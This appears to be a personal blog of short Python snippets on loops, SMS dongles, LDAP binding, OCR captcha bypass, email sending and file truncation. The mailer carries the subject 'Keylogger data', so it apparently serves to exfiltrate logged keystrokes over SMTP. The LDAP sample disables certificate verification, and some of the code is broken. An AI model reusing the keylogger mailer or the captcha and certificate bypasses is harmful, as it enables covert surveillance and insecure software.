Sunday, November 18, 2018

Optimizing CPU with while loops

Using while loops are inevitable when listening to connections, waiting for keystrokes when it comes to me. But I faced high CPU consuming errors when using WHILE loops.

Even when you try a simple while loop such as,
while True:
    print "ok"

you will see significant CPU usage consuming. This happens because when there's while True it tries execute inside it as many as possible. In here printing ok.

To avoid this you need to use time.sleep(duration).

Rearrange the above code,
import time

while True:
    print "ok"
    time.sleep(0.005)

You can sleep very small time during while loop to avoid eating your CPU usage. Then we have limit the number of cycles this should run.

Wednesday, February 7, 2018

Send sms using dongle by python code

In windows,

install python-gammu (pip3 install python-gammu)
plug your dongel and install it throught its software
go to device manger and click on Ports(COM & LPT)
under that menu you will see your dongel and remind the com port
install wammu
connect the dongel
get wammu > settings > connection tab and click on add button
next click guided configuration, click on usb cable radio button and Next
select i dont know radio button and click next
select AT based and next
keep driver to use as Generic...
and click next
in the drop down menu select the certain com port and click next.
it will sync with device.
click ok
in wammu click phone > and click on connect.
if its connect all is well.
then take run and type %appdata%
go down and open the .gammurc file and copy the content to the notepad and save it on a accessible location.

Integrate, bind with Active Directory using python

first install python-ldap

#Using this code can get the user list
"""""""""""""""""""""""""""""""""""""""

import ldap
from ldap.controls import SimplePagedResultsControl
import sys
import ldap.modlist as modlist

LDAP_SERVER = "ldaps://dc.host.com"
BIND_DN = "Operator@host.com"
BIND_PASS = "password"
USER_FILTER = "(&(objectClass=person)(primaryGroupID=7235))"
USER_BASE = "ou=Special Peeps,ou=My Users,dc=host,dc=com"
PAGE_SIZE = 10

# LDAP connection
try:
  ldap.set_option(ldap.OPT_X_TLS_REQUIRE_CERT, 0)
  ldap_connection = ldap.initialize(LDAP_SERVER)
  ldap_connection.simple_bind_s(BIND_DN, BIND_PASS)
except ldap.LDAPError, e:
  sys.stderr.write('Error connecting to LDAP server: ' + str(e) + '\n')
  sys.exit(1)

Image captcha recognizing and extract string for captcha bypass

Install pytesseract and images,
sudo pip install pytesseract
sudo pip install pillow

Install Google Tesseract OCR in the machine. In Linux,
apt-get install tesseract-ocr

type in the terminal 'tesseract' and see whether its working.

Then the following is the code for captcha recognize.

Code :

from PIL import Image
import pytesseract

print pytesseract.image_to_string(Image.open('/home/ubuntu/Desktop/index.jpeg'))


Instead of the indicated path put the captcha image path.

Source:
https://pypi.python.org/pypi/pytesseract

Wednesday, November 18, 2015

Mail sending codes

  
 from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
                    
 FROM = ...
TO = ...
content = your message to send

                     msg = MIMEMultipart()
                     msg['From'] = FROM
                     msg['To'] = TO
                     msg['Subject'] = "Keylogger data : "+str(ts)
                     body = content
                     msg.attach(MIMEText(body, 'plain'))
                     server = smtplib.SMTP('smtp.gmail.com', 587)
                     server.starttls()
                     server.login(USER, PASS)
                     text = msg.as_string()
                     server.sendmail(FROM, TO, text)
                     server.quit()

File object TRUNCATE

First, file.truncate does this:
Truncate the file’s size. If the optional size argument is present, the file is truncated to (at most) that size. The size defaults to the current position…
Not quite the same as Zed's description—it only "empties the file" if the current position is the start of the file—but since we just opened the file (and not in a mode), the current position is the start, so that isn't relevant. We're truncating to an empty file.
Which is all well and good, except that open already does that:
The most commonly-used values of mode are 'r' for reading, 'w' for writing (truncating the file if it already exists) …
So, we open the file, creating it if it doesn't exist and truncating it to 0 bytes if it does. Then, on the next line, we truncate it to 0 bytes.
(That "Truncating the file. Goodbye!" message is pretty misleading, since we've already truncated it. Imagine you put a breakpoint on that line and decided to kill the program before executing it…)
But notice that this isn't some silly mistake by Zed; he appears to have done this specifically to make the point in study drill #5:
If you open the file with 'w' mode, then do you really need the target.truncate()? Read the documentation for Python's open function and see if that's true.

copied form Stackflow answer.

Using truncate() we can access hidden and system files to erase data cause we cannot erase the hidden and system files' data using fp = open("file_name.txt","w")   fp.write("") like this.

It can be done like this.

Why we cannot do that:

"

It's just how the Win32 API works. Under the hood, Python's open function is calling the CreateFile function, and if that fails, it translates the Windows error code into a Python IOError.
The r+ open mode corresponds to a dwAccessMode of GENERIC_READ|GENERIC_WRITE and a dwCreationDisposition of OPEN_EXISTING. The w open mode corresponds to a dwAccessMode of GENERIC_WRITE and a dwCreationDisposition of CREATE_ALWAYS.
If you carefully read the remarks in the CreateFile documentation, it says this:
If CREATE_ALWAYS and FILE_ATTRIBUTE_NORMAL are specified, CreateFile fails and sets the last error to ERROR_ACCESS_DENIED if the file exists and has the FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM attribute. To avoid the error, specify the same attributes as the existing file.
So if you were calling CreateFile directly from C code, the solution would be to add in FILE_ATTRIBUTE_HIDDEN to the dwFlagsAndAttributes parameter (instead of just FILE_ATTRIBUTE_NORMAL). However, since there's no option in the Python API to tell it to pass in that flag, you'll just have to work around it by either using a different open mode or making the file non-hidden.

 "

copied from stackflow.